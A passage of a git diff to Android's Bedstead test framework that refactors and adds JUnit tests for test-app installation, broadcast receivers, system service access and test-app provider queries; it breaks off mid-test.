+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
@@ -19,14 +19,13 @@
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
-import static com.google.common.truth.Truth.assertThat;
+import static com.android.eventlib.truth.EventLogsSubject.assertThat;
 
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 
 import com.android.bedstead.nene.TestApis;
-import com.android.eventlib.EventLogs;
 import com.android.eventlib.events.activities.ActivityCreatedEvent;
 import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
 
@@ -52,9 +51,8 @@
     private static final String GENERATED_BROADCAST_RECEIVER_ACTION =
             "com.android.testapp.GENERATED_BROADCAST_RECEIVER";
 
-    private static final TestApis sTestApis = new TestApis();
     private static final Context sContext =
-            sTestApis.context().instrumentedContext();
+            TestApis.context().instrumentedContext();
 
     @Test
     public void startActivity_activityDoesNotExist_startsLoggingActivity() {
@@ -64,11 +62,9 @@
         intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
         sContext.startActivity(intent);
 
-        EventLogs<ActivityCreatedEvent> eventLogs =
-                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+        assertThat(ActivityCreatedEvent.queryPackage(sContext.getPackageName())
                         .whereActivity().activityClass().className()
-                            .isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS);
-        assertThat(eventLogs.poll()).isNotNull();
+                            .isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS)).eventOccurred();
     }
 
     @Test
@@ -78,10 +74,9 @@
 
         sContext.sendBroadcast(intent);
 
-        EventLogs<BroadcastReceivedEvent> eventLogs = BroadcastReceivedEvent
+        assertThat(BroadcastReceivedEvent
                 .queryPackage(sContext.getPackageName())
                 .whereBroadcastReceiver().receiverClass().className()
-                    .isEqualTo(GENERATED_RECEIVER_CLASS_NAME);
-        assertThat(eventLogs.poll()).isNotNull();
+                .isEqualTo(GENERATED_RECEIVER_CLASS_NAME)).eventOccurred();
     }
 }
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
deleted file mode 100644
index da4a813..0000000
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
+++ /dev/null
@@ -1,316 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.testapp;
-
-import static android.Manifest.permission.INTERACT_ACROSS_USERS;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-
-import com.android.bedstead.harrier.BedsteadJUnit4;
-import com.android.bedstead.harrier.DeviceState;
-import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
-import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
-import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.packages.Package;
-import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.UserReference;
-import com.android.compatibility.common.util.PollingCheck;
-import com.android.eventlib.EventLogs;
-import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
-
-import org.junit.Before;
-import org.junit.ClassRule;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-@RunWith(BedsteadJUnit4.class)
-public class TestAppInstanceReferenceTest {
-
-    @ClassRule @Rule
-    public static final DeviceState sDeviceState = new DeviceState();
-
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
-    private static final UserReference sUser = sTestApis.users().instrumented();
-
-    private TestAppProvider mTestAppProvider;
-
-    private static final String INTENT_ACTION = "com.android.bedstead.testapp.test_action";
-    private static final IntentFilter INTENT_FILTER = new IntentFilter(INTENT_ACTION);
-    private static final Intent INTENT = new Intent(INTENT_ACTION);
-    private static final String INTENT_ACTION_2 = "com.android.bedstead.testapp.test_action2";
-    private static final IntentFilter INTENT_FILTER_2 = new IntentFilter(INTENT_ACTION_2);
-    private static final Intent INTENT_2 = new Intent(INTENT_ACTION_2);
-
-    @Before
-    public void setup() {
-        mTestAppProvider = new TestAppProvider();
-    }
-
-    @Test
-    public void user_returnsUserReference() {
-        TestApp testApp = mTestAppProvider.any();
-        TestAppInstanceReference testAppInstance = testApp.instance(sUser);
-
-        assertThat(testAppInstance.user()).isEqualTo(sUser);
-    }
-
-    @Test
-    public void testApp_returnsTestApp() {
-        TestApp testApp = mTestAppProvider.any();
-        TestAppInstanceReference testAppInstance = testApp.instance(sUser);
-
-        assertThat(testAppInstance.testApp()).isEqualTo(testApp);
-    }
-
-    @Test
-    public void activities_any_returnsActivity() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            assertThat(testAppInstance.activities().any()).isNotNull();
-        }
-    }
-
-    @Test
-    public void uninstall_uninstalls() {
-        TestApp testApp = mTestAppProvider.any();
-        TestAppInstanceReference testAppInstance = testApp.install(sUser);
-
-        testAppInstance.uninstall();
-
-        Package pkg = sTestApis.packages().find(testApp.packageName()).resolve();
-        if (pkg != null) {
-            assertThat(pkg.installedOnUsers()).doesNotContain(sUser);
-        }
-    }
-
-    @Test
-    public void autoclose_uninstalls() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            // Intentionally empty
-        }
-
-        Package pkg = sTestApis.packages().find(testApp.packageName()).resolve();
-        if (pkg != null) {
-            assertThat(pkg.installedOnUsers()).doesNotContain(sUser);
-        }
-    }
-
-    @Test
-    public void keepAlive_notInstalled_throwsException() {
-        TestApp testApp = mTestAppProvider.any();
-        TestAppInstanceReference testAppInstance = testApp.instance(sUser);
-
-        assertThrows(IllegalStateException.class, testAppInstance::keepAlive);
-    }
-
-    @Test
-    public void killProcess_keepAlive_processIsRunningAgain() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            testAppInstance.keepAlive();
-
-            testAppInstance.process().kill();
-
-            PollingCheck.waitFor(() -> testApp.reference().runningProcess(sUser) != null);
-        }
-    }
-
-    // We cannot test that after stopKeepAlive it does not restart, as we'd have to wait an
-    // unbounded amount of time
-
-    @Test
-    public void stop_processIsNotRunning() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            testAppInstance.activities().any().start();
-
-            testAppInstance.stop();
-
-            assertThat(testApp.reference().runningProcesses()).isEmpty();
-        }
-    }
-
-    @Test
-    public void stop_previouslyCalledKeepAlive_processDoesNotRestart() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            testAppInstance.activities().any().start();
-            testAppInstance.keepAlive();
-
-            testAppInstance.stop();
-
-            assertThat(testApp.reference().runningProcesses()).isEmpty();
-        }
-    }
-
-    @Test
-    public void process_isNotRunning_returnsNull() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            assertThat(testAppInstance.process()).isNull();
-        }
-    }
-
-    @Test
-    public void process_isRunning_isNotNull() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            testAppInstance.activities().any().start();
-
-            assertThat(testAppInstance.process()).isNotNull();
-        }
-    }
-
-    @Test
-    public void registerReceiver_receivesBroadcast() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            testAppInstance.registerReceiver(INTENT_FILTER);
-
-            sContext.sendBroadcast(INTENT);
-
-            EventLogs<BroadcastReceivedEvent> logs =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
-                    .whereIntent().action().isEqualTo(INTENT_ACTION);
-            assertThat(logs.poll()).isNotNull();
-        }
-    }
-
-    @Test
-    public void registerReceiver_multipleIntentFilters_receivesAllMatchingBroadcasts() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            testAppInstance.registerReceiver(INTENT_FILTER);
-            testAppInstance.registerReceiver(INTENT_FILTER_2);
-
-            sContext.sendBroadcast(INTENT);
-            sContext.sendBroadcast(INTENT_2);
-
-            EventLogs<BroadcastReceivedEvent> logs =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
-                            .whereIntent().action().isEqualTo(INTENT_ACTION);
-            EventLogs<BroadcastReceivedEvent> logs2 =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
-                            .whereIntent().action().isEqualTo(INTENT_ACTION_2);
-            assertThat(logs.poll()).isNotNull();
-            assertThat(logs2.poll()).isNotNull();
-        }
-    }
-
-    @Test
-    public void registerReceiver_processIsRunning() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-
-            testAppInstance.registerReceiver(INTENT_FILTER);
-
-            assertThat(testApp.reference().runningProcess(sUser)).isNotNull();
-        }
-    }
-
-    @Test
-    public void stop_registeredReceiver_doesNotReceiveBroadcast() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            testAppInstance.registerReceiver(INTENT_FILTER);
-
-            testAppInstance.stop();
-            sContext.sendBroadcast(INTENT);
-
-            EventLogs<BroadcastReceivedEvent> logs =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
-                            .whereIntent().action().isEqualTo(INTENT_ACTION);
-            assertThat(logs.get()).isNull();
-        }
-    }
-
-    @Test
-    public void unregisterReceiver_registeredReceiver_doesNotReceiveBroadcast() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            testAppInstance.registerReceiver(INTENT_FILTER);
-
-            testAppInstance.unregisterReceiver(INTENT_FILTER);
-            sContext.sendBroadcast(INTENT);
-
-            EventLogs<BroadcastReceivedEvent> logs =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
-                            .whereIntent().action().isEqualTo(INTENT_ACTION);
-            assertThat(logs.get()).isNull();
-        }
-    }
-
-    @Test
-    public void unregisterReceiver_doesNotUnregisterOtherReceivers() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            testAppInstance.registerReceiver(INTENT_FILTER);
-            testAppInstance.registerReceiver(INTENT_FILTER_2);
-
-            testAppInstance.unregisterReceiver(INTENT_FILTER);
-            sContext.sendBroadcast(INTENT);
-            sContext.sendBroadcast(INTENT_2);
-
-            EventLogs<BroadcastReceivedEvent> logs =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
-                            .whereIntent().action().isEqualTo(INTENT_ACTION);
-            EventLogs<BroadcastReceivedEvent> logs2 =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
-                            .whereIntent().action().isEqualTo(INTENT_ACTION_2);
-            assertThat(logs.get()).isNull();
-            assertThat(logs2.poll()).isNotNull();
-        }
-    }
-
-    @Test
-    public void keepAlive_processIsRunning() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-
-            testAppInstance.keepAlive();
-
-            assertThat(testApp.reference().runningProcess(sUser)).isNotNull();
-        }
-    }
-
-    @Test
-    public void registerReceiver_appIsKilled_stillReceivesBroadcast() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
-            testAppInstance.registerReceiver(INTENT_FILTER);
-            testApp.reference().runningProcess(sUser).kill();
-            PollingCheck.waitFor(() -> testApp.reference().runningProcess(sUser) != null);
-
-            sContext.sendBroadcast(INTENT);
-
-            EventLogs<BroadcastReceivedEvent> logs =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
-                            .whereIntent().action().isEqualTo(INTENT_ACTION);
-            assertThat(logs.poll()).isNotNull();
-        }
-    }
-}
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceTest.java
new file mode 100644
index 0000000..45fcd98
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceTest.java
@@ -0,0 +1,397 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import static android.app.admin.DevicePolicyManager.OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+import static android.os.Build.VERSION_CODES.Q;
+import static android.os.Build.VERSION_CODES.S;
+
+import static com.android.eventlib.truth.EventLogsSubject.assertThat;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.RequireSdkVersion;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.Poll;
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
+
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.time.Duration;
+
+@RunWith(BedsteadJUnit4.class)
+public class TestAppInstanceTest {
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final UserReference sUser = TestApis.users().instrumented();
+
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sTestApp = sTestAppProvider.query()
+            .whereActivities().isNotEmpty()
+            .get();
+
+    private static final String INTENT_ACTION = "com.android.bedstead.testapp.test_action";
+    private static final IntentFilter INTENT_FILTER = new IntentFilter(INTENT_ACTION);
+    private static final Intent INTENT = new Intent(INTENT_ACTION);
+    private static final String INTENT_ACTION_2 = "com.android.bedstead.testapp.test_action2";
+    private static final IntentFilter INTENT_FILTER_2 = new IntentFilter(INTENT_ACTION_2);
+    private static final Intent INTENT_2 = new Intent(INTENT_ACTION_2);
+    private static final Duration SHORT_TIMEOUT = Duration.ofSeconds(5);
+    private TestAppProvider mTestAppProvider;
+
+    @Test
+    public void user_returnsUserReference() {
+        TestAppInstance testAppInstance = sTestApp.instance(sUser);
+
+        assertThat(testAppInstance.user()).isEqualTo(sUser);
+    }
+
+    @Test
+    public void testApp_returnsTestApp() {
+        TestAppInstance testAppInstance = sTestApp.instance(sUser);
+
+        assertThat(testAppInstance.testApp()).isEqualTo(sTestApp);
+    }
+
+    @Test
+    public void activities_any_returnsActivity() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            assertThat(testAppInstance.activities().any()).isNotNull();
+        }
+    }
+
+    @Test
+    public void uninstall_uninstalls() {
+        TestAppInstance testAppInstance = sTestApp.install();
+
+        testAppInstance.uninstall();
+
+        assertThat(TestApis.packages().find(sTestApp.packageName())
+                .installedOnUser(sUser)).isFalse();
+    }
+
+    @Test
+    public void autoclose_uninstalls() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            // Intentionally empty
+        }
+
+        assertThat(TestApis.packages().find(sTestApp.packageName())
+                .installedOnUser(sUser)).isFalse();
+    }
+
+    @Test
+    public void keepAlive_notInstalled_throwsException() {
+        TestAppInstance testAppInstance = sTestApp.instance(sUser);
+
+        assertThrows(IllegalStateException.class, testAppInstance::keepAlive);
+    }
+
+    @Test
+    @Ignore("b/203758521 Need to re-add support for killing processes")
+    public void killProcess_keepAlive_processIsRunningAgain() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            testAppInstance.keepAlive();
+
+//            testAppInstance.process().kill();
+
+            Poll.forValue("running process", () -> sTestApp.pkg().runningProcess(sUser))
+                    .toNotBeNull()
+                    .errorOnFail()
+                    .await();
+        }
+    }
+
+    // We cannot test that after stopKeepAlive it does not restart, as we'd have to wait an
+    // unbounded amount of time
+
+    @Test
+    @Ignore("b/203758521 need to re-add support for killing processes")
+    public void stop_processIsNotRunning() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            testAppInstance.activities().any().start();
+
+//            testAppInstance.stop();
+
+            assertThat(sTestApp.pkg().runningProcesses()).isEmpty();
+        }
+    }
+
+    @Test
+    @Ignore("b/203758521 need to re-add support for killing processes")
+    public void stop_previouslyCalledKeepAlive_processDoesNotRestart() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            testAppInstance.activities().any().start();
+            testAppInstance.keepAlive();
+
+//            testAppInstance.stop();
+
+            assertThat(sTestApp.pkg().runningProcesses()).isEmpty();
+        }
+    }
+
+    @Test
+    public void process_isNotRunning_returnsNull() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            assertThat(testAppInstance.process()).isNull();
+        }
+    }
+
+    @Test
+    public void process_isRunning_isNotNull() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            testAppInstance.activities().any().start();
+
+            Poll.forValue("TestApp process", testAppInstance::process)
+                    .toNotBeNull()
+                    .errorOnFail()
+                    .await();
+        }
+    }
+
+    @Test
+    public void registerReceiver_receivesBroadcast() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            testAppInstance.registerReceiver(INTENT_FILTER);
+
+            sContext.sendBroadcast(INTENT);
+
+            assertThat(testAppInstance.events().broadcastReceived()
+                    .whereIntent().action().isEqualTo(INTENT_ACTION))
+                    .eventOccurred();
+        }
+    }
+
+    @Test
+    public void registerReceiver_multipleIntentFilters_receivesAllMatchingBroadcasts() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            testAppInstance.registerReceiver(INTENT_FILTER);
+            testAppInstance.registerReceiver(INTENT_FILTER_2);
+
+            sContext.sendBroadcast(INTENT);
+            sContext.sendBroadcast(INTENT_2);
+
+            assertThat(testAppInstance.events().broadcastReceived()
+                    .whereIntent().action().isEqualTo(INTENT_ACTION))
+                    .eventOccurred();
+            assertThat(testAppInstance.events().broadcastReceived()
+                    .whereIntent().action().isEqualTo(INTENT_ACTION_2))
+                    .eventOccurred();
+        }
+    }
+
+    @Test
+    public void registerReceiver_processIsRunning() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+
+            testAppInstance.registerReceiver(INTENT_FILTER);
+
+            assertThat(sTestApp.pkg().runningProcess(sUser)).isNotNull();
+        }
+    }
+
+    @Test
+    @Ignore("b/203758521 need to re-add support for killing processes")
+    public void stop_registeredReceiver_doesNotReceiveBroadcast() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            testAppInstance.registerReceiver(INTENT_FILTER);
+
+//            testAppInstance.stop();
+            sContext.sendBroadcast(INTENT);
+
+            EventLogs<BroadcastReceivedEvent> logs =
+                    BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
+                            .whereIntent().action().isEqualTo(INTENT_ACTION);
+            assertThat(logs.poll(SHORT_TIMEOUT)).isNull();
+        }
+    }
+
+    @Test
+    public void unregisterReceiver_registeredReceiver_doesNotReceiveBroadcast() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            testAppInstance.registerReceiver(INTENT_FILTER);
+
+            testAppInstance.unregisterReceiver(INTENT_FILTER);
+            sContext.sendBroadcast(INTENT);
+
+            EventLogs<BroadcastReceivedEvent> logs =
+                    BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
+                            .whereIntent().action().isEqualTo(INTENT_ACTION);
+            assertThat(logs.poll(SHORT_TIMEOUT)).isNull();
+        }
+    }
+
+    @Test
+    public void unregisterReceiver_doesNotUnregisterOtherReceivers() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            testAppInstance.registerReceiver(INTENT_FILTER);
+            testAppInstance.registerReceiver(INTENT_FILTER_2);
+
+            testAppInstance.unregisterReceiver(INTENT_FILTER);
+            sContext.sendBroadcast(INTENT);
+            sContext.sendBroadcast(INTENT_2);
+
+            EventLogs<BroadcastReceivedEvent> logs =
+                    BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
+                            .whereIntent().action().isEqualTo(INTENT_ACTION);
+            EventLogs<BroadcastReceivedEvent> logs2 =
+                    BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
+                            .whereIntent().action().isEqualTo(INTENT_ACTION_2);
+            assertThat(logs.poll(SHORT_TIMEOUT)).isNull();
+            assertThat(logs2.poll()).isNotNull();
+        }
+    }
+
+    @Test
+    public void keepAlive_processIsRunning() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+
+            testAppInstance.keepAlive();
+
+            assertThat(sTestApp.pkg().runningProcess(sUser)).isNotNull();
+        }
+    }
+
+    @Test
+    @Ignore("b/203758521 need to re-add support for killing processes")
+    public void registerReceiver_appIsKilled_stillReceivesBroadcast() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            testAppInstance.registerReceiver(INTENT_FILTER);
+//            testApp.pkg().runningProcess(sUser).kill();
+            Poll.forValue("running process", () -> sTestApp.pkg().runningProcess(sUser))
+                    .toNotBeNull()
+                    .errorOnFail()
+                    .await();
+
+            sContext.sendBroadcast(INTENT);
+
+            EventLogs<BroadcastReceivedEvent> logs =
+                    BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
+                            .whereIntent().action().isEqualTo(INTENT_ACTION);
+            assertThat(logs.poll()).isNotNull();
+        }
+    }
+
+    @Test
+    @RequireSdkVersion(min = S, reason = "isSafeOperation only available on S+")
+    public void devicePolicyManager_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            // Arbitrary call which does not require specific permissions to confirm no crash
+            testAppInstance.devicePolicyManager()
+                    .isSafeOperation(OPERATION_SAFETY_REASON_DRIVING_DISTRACTION);
+        }
+    }
+
+    @Test
+    public void userManager_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            // Arbitrary call which does not require specific permissions to confirm no crash
+            testAppInstance.userManager().getUserProfiles();
+        }
+    }
+
+    @Test
+    @RequireSdkVersion(min = Q, reason = "Wifimanager API only available on Q+")
+    public void wifiManager_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            // Arbitrary call which does not require specific permissions to confirm no crash
+            testAppInstance.wifiManager().getMaxNumberOfNetworkSuggestionsPerApp();
+        }
+    }
+
+    @Test
+    public void hardwarePropertiesManager_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            // Arbitrary call - there are no methods on this service which don't require permissions
+            assertThrows(SecurityException.class, () -> {
+                testAppInstance.hardwarePropertiesManager().getCpuUsages();
+            });
+        }
+    }
+
+    @Test
+    public void packageManager_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            assertThat(testAppInstance.packageManager().hasSystemFeature("")).isFalse();
+        }
+    }
+
+    @Test
+    public void crossProfileApps_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            assertThat(testAppInstance.crossProfileApps().getTargetUserProfiles()).isEmpty();
+        }
+    }
+
+    @Test
+    public void launcherApps_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            assertThat(testAppInstance.launcherApps().hasShortcutHostPermission()).isFalse();
+        }
+    }
+
+    @Test
+    public void accountManager_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            // Arbitrary call which does not require specific permissions to confirm no crash
+            assertThat(testAppInstance.accountManager().getAccounts()).isNotNull();
+        }
+    }
+
+    @Test
+    public void context_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            assertThat(testAppInstance.context().getSystemServiceName(DevicePolicyManager.class))
+                    .isEqualTo(Context.DEVICE_POLICY_SERVICE);
+        }
+    }
+
+    @Test
+    public void context_getContentResolver_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            // Arbitrary call which does not require specific permissions to confirm no crash
+            assertThat(testAppInstance.context().getContentResolver().getPersistedUriPermissions())
+                    .isNotNull();
+        }
+    }
+
+    @Test
+    public void keyChain_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            assertThat(testAppInstance.keyChain().isKeyAlgorithmSupported("A")).isFalse();
+        }
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppProviderTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppProviderTest.java
index c4e78a3..bc270b4 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppProviderTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppProviderTest.java
@@ -16,24 +16,42 @@
 
 package com.android.bedstead.testapp;
 
+import static com.android.queryable.queries.ActivityQuery.activity;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.testng.Assert.assertThrows;
 
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
+import java.util.HashSet;
+import java.util.Set;
+import java.util.stream.Collectors;
+
 @RunWith(JUnit4.class)
 public class TestAppProviderTest {
 
     // Expects that this package name matches an actual test app
-    private static final String EXISTING_PACKAGENAME = "android.EmptyTestApp";
+    private static final String EXISTING_PACKAGENAME = "com.android.bedstead.testapp.EmptyTestApp";
 
     // Expects that this package name does not match an actual test app
     private static final String NOT_EXISTING_PACKAGENAME = "not.existing.test.app";
 
+    // Expected to be a class name which is used in a test app
+    private static final String KNOWN_EXISTING_TESTAPP_ACTIVITY_CLASSNAME =
+            "android.testapp.activity";
+
+    private static final String QUERY_ONLY_TEST_APP_PACKAGE_NAME = "com.android.RemoteDPC";
+
+    private static final String PERMISSION_DECLARED_BY_TESTAPP = "android.permission.READ_CALENDAR";
+
+    private static final String METADATA_KEY = "test-metadata-key";
+    private static final String METADATA_VALUE = "test-metadata-value";
+
     private TestAppProvider mTestAppProvider;
 
     @Before
@@ -84,6 +102,161 @@
         assertThrows(NotFoundException.class, query::get);
     }
 
-    // TODO(scottjonathan): Once we support features other than package name, test that we can get
-    //  different test apps by querying for the same thing
+    @Test
+    public void any_doesNotReturnPackageQueryOnlyTestApps() {
+        Set<String> testAppPackageNames = new HashSet<>();
+
+        while (true) {
+            try {
+                testAppPackageNames.add(mTestAppProvider.any().packageName());
+            } catch (NotFoundException e) {
+                // Expected when we run out of test apps
+                break;
+            }
+        }
+
+        assertThat(testAppPackageNames).doesNotContain(QUERY_ONLY_TEST_APP_PACKAGE_NAME);
+    }
+
+    @Test
+    public void query_queryByPackageName_doesReturnPackageQueryOnlyTestApps() {
+        assertThat(
+                mTestAppProvider.query()
+                        .wherePackageName().isEqualTo(QUERY_ONLY_TEST_APP_PACKAGE_NAME)
+                        .get()).isNotNull();
+    }
+
+    @Test
+    public void query_byFeature_returnsDifferentTestAppsForSameQuery() {
+        TestApp firstResult = mTestAppProvider.query()
+                .whereTestOnly().isFalse()
+                .get();
+        TestApp secondResult = mTestAppProvider.query()
+                .whereTestOnly().isFalse()
+                .get();
+
+        assertThat(firstResult).isNotEqualTo(secondResult);
+    }
+
+    @Test
+    public void query_testOnly_returnsMatching() {
+        TestApp testApp = mTestAppProvider.query()
+                .whereTestOnly().isTrue()
+                .get();
+
+        assertThat(testApp.testOnly()).isTrue();
+    }
+
+    @Test
+    public void query_notTestOnly_returnsMatching() {
+        TestApp testApp = mTestAppProvider.query()
+                .whereTestOnly().isFalse()
+                .get();
+
+        assertThat(testApp.testOnly()).isFalse();
+    }
+
+    @Test
+    public void query_minSdkVersion_returnsMatching() {
+        TestApp testApp = mTestAppProvider.query()
+                .whereMinSdkVersion().isGreaterThanOrEqualTo(28)
+                .get();
+
+        assertThat(testApp.minSdkVersion()).isAtLeast(28);
+    }
+
+    @Test
+    public void query_targetSdkVersion_returnsMatching() {
+        TestApp testApp = mTestAppProvider.query()
+                .whereTargetSdkVersion().isGreaterThanOrEqualTo(28)
+                .get();
+
+        assertThat(testApp.targetSdkVersion()).isAtLeast(28);
+    }
+
+    @Test
+    public void query_withPermission_returnsMatching() {
+        TestApp testApp = mTestAppProvider.query()
+                .wherePermissions().contains(PERMISSION_DECLARED_BY_TESTAPP)
+                .get();
+
